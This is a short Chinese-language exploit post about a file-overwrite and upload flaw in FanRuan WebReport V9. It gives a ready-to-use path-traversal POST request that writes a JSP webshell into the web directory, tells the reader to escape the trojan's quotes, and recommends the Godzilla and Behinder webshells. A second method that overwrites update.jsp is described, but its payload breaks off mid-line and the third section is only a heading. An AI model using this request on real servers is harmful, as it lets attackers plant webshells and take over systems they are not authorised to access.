帆软V9任意文件覆盖漏洞+无损上传

发布时间:2024年01月15日

1.无损上传(前台)

要由chartmapsvg开头,包含.svg时会先创建文件,然后再到后续逻辑,所以只需要xxx.svg.jsp这种格式,不需要覆盖原有文件即可无损利用成功。
注意:木马的双引号要转义一下。

POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1

上传其他 webshell 同理,建议哥斯拉、冰蝎等等。

2.有损覆盖上传

由于WebReport V9在安装之后在WebReport目录下存在update.jsp和update1.jsp,因此可以构造payload直接覆盖这两个文件的内容,从而GetShell。构造如下Payload覆盖update.jsp文件内容:

POST /WebReport/ReportServer?.

3.有损覆盖上传绕过
